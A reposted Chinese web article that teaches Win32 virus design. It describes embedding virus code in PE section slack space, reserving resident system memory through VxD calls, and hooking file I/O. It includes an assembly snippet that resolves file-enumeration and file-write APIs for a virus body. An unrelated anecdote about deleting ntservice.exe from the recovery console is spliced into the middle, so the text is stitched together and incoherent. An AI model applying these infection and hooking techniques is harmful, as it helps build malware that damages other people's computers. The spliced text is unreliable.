您的位置:首页 > 其它

Win32下病毒设计入门详细解说【转】

2007-11-17 17:24 351 查看
导读:
  本文假定你对dos下的病毒和386PM有一定的了解。
  1、感染任何一个病毒都需要有寄主,把病毒代码加入寄主程序中(伴侣病毒除外)
  以下说明如何将病毒代码嵌入PE文件中,有关PE文件的结构请看以前的文章。 PE文件的典型结构:MZ Header DOS STUB CODE PE HEADER OPTIONAL HEADER SECTION TABLE SECTION 1 SECTION 2 ... IMPORT TABLE EXPORT TABLE 和DOS的可执行文件类似,PE的代码映象分为几个SECTION,在文件中会对齐页边界(4K)。一般来说,文件会加载在400000h开始的空间,而第一个SECTION在401000h处,同时入口地址也是401000h。
  由高级语言编写的程序,每个SECTIO-N的长度不可能刚好是4K的倍数,因此在SECTION的末尾将会存在一段未用的空间,大小可由Section的PHYSICAL SIZE-VIRTUALSIZE得到,在文件中起始位置可由 PHYSICAL OFFSET得到,这段空间可以用来存放病毒代码。此外一般来说,MZ Header+DOS STUD+PEHEADER+OPTIONAL HEADER+SECTION TABLE不过1K左右,而SECTION 1由4K开始,空出来的地方足够存放一个设计精良的病毒。CIH就是将代码存放在这些空闲空间里。
  2、分配驻留所需内存
  对于驻留形的病毒,分配驻留所需内存是必需的。在DOS下使用由于所有的 应用程序都映射在相同的线性地址空间里,使用一般的内存分配调用就足够了。而在WIN32下,每个应用程序都有自己的线性地址空间,必须使用特殊的函数分配2GB以上的系统地址。典型的如:VXD服务_PageAllocate,和kernel32的 VxDCALL _PageReserve。_PageAllocate请参看win98ddk中的说明,VxDCall _PageReserve 请参看HPS源码中的注释。
  3、截留FILE I/O操作 驻留型的病毒通过截留FILE I/O来激活,可以通过使用VXD服务
  IFSMgr_Install-FileSystemAPIHook(如CIH)或截留VxDCall中的DOS Services callback(如HPS)。
  在Win32下编写病毒不是一件困难的事。值得注意的有几件事:
  一、Win32下的系统功能调用不是通过中断实现,而是由DLL中导出
  (直接使用VxD服务除外)。直接在病毒中得到API入口不是一件容易的事,可以通过以下这个变通的方法。
  在同一个版本的Windows下,同一个核心函数的入口总是固定的(指由Kernel32,gdi32,user32导出的函数)。因此可以用以下的方法得到函数入口:
  .386p
  .model flat,stdcall
  extrn GetModuleHandleA:proc
  extrn GetProcAddress:proc
  extrn ExitProcess:proc
  .data
  szKernel db 'KERNEL32.DLL',0
  szFindFirst db 'FindFirstFileA',0
  szFindNext db 'FindNextFileA',0
  szFindClose db 'FindClose',0
  szGetCurrentDir db 'GetCurrentDirectoryA',0
  szGetWinDir db 'GetWindowsDirectoryA',0
  szGetSysDir db 'GetSystemDirectoryA',0
  szGetFileAttrib db 'GetFileAttributesA',0
  szSetFileAttrib db 'SetFileAttributesA',0
  szlopen db '_lopen',0
  szlread db '_lread',0
  szlwrite db '_lwrite',0
  szlclose db '_lclose',0
  szllseek db '_llseek',0
  hKernel dd 0
  .code
  ;Initialize code
  start:
  push szKernel
  call GetModuleHandleA
  mov hKernel,eax
  push szFindFirst
  push hKernel
  call GetProcAddress
  mov FindFirstFile,eax
  ....
  jmp VirusStart
  InitExit:
  push 0
  call ExitProcess
  VirusStart:
  jmp Entry
  HostEntry dd InitExit
  FindFirstFile dd 0
  FindNextFile dd 0
  ...
  Entry:
  ...
  end start
  在Intialize Code得到要用的函数入口并将它填入病毒中,在病毒运行时可以直接使用了。
  本人的一台操作系统为Win2000 Server的笔记本电脑最近被感染了病毒,我首先用相关杀毒软件来扫描计算机,扫描报告如下:
  病毒名称:Hacktool
  文件名:c:/winnt/system32/ntservice.exe
  操作:删除失败,隔离失败,访问被拒绝
  如何才能彻底 删除呢?
  因为c:/winnt/system32/ntservice.exe已经在运行了,直接删除显然是不可能的。于是我运行Windows任务管理器,在进程选 项卡中选择结束ntservice.exe进程,结果系统显示“无法中止进程,拒绝访问”。
  我突然想到在Win 2000(XP)的控制台状态下是可 以用DOS命令的。
  什么是控制台
  控制台是Windows的一种简易运行模式,它可以不启动图形界面而在命令行状态下有限制地访问 FAT和NTFS分区,并对系统进行一些设置和操作。
  通过控制台,我们可以更换系统文件、关闭或者禁用某个系统服务、禁用或卸载硬件 设备、修复引导扇区、新建分区以及格式化硬盘分区等。
  启动控制台
  对于Windows 2000,我们可以用光盘启动电脑,然后在安 装程序的选单中按R键选择“修复Windows 2000安装”,再从修复选单中按C键选择“故障恢复控制台修复Windows2000”。
  对于 WindowsXP,同样是用光盘启动电脑,然后按R选择修复,就能直接进入控制台。
  直接把控制台的相关选项安装到启动菜单中的方 法:把光盘放入光驱,然后直接在运行中输入“d:/i386/winnt32/cmdcons”之后回车(这里假设你的光驱是D),再点击“是”,就可以把控 制台选项安装到高级启动菜单中,这样以后直接从硬盘就可以进入控制台中。这个方法适用于Windows 2000和Windows XP。
  在控制台的 命令提示符下,为安全起见,我首先对ntservice.exe进行备份,然后直接运行:del c:/winnt/system32/ntservice.exe就OK了。
  二、主要是要截留文件I/O操作
  Windows下截留文件I/O操作有几种方法,在病毒中使用的主要有两种。
  1、使用VxDCallIFSMgr_InstallFileSystemHook
  2、截留Kernel32.dll中导出的第一个函数VxDCall对DOS
  INT 21的呼叫(EAX=2A0010)。
  VxDCall的代码如下:
  mov eax,dword ptr [esp+04]
  pop dword ptr [esp]
  call fword ptr cs:[xxxxxxxx]
  ^^^^^^^^只要将这个地址指向的地址改为自己的过程入口,就捕获了所有的VxDCall。
  进入这个过程时:
  eax=service number,如果是DOS INT 21将是2A0010
  esp[2c]
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: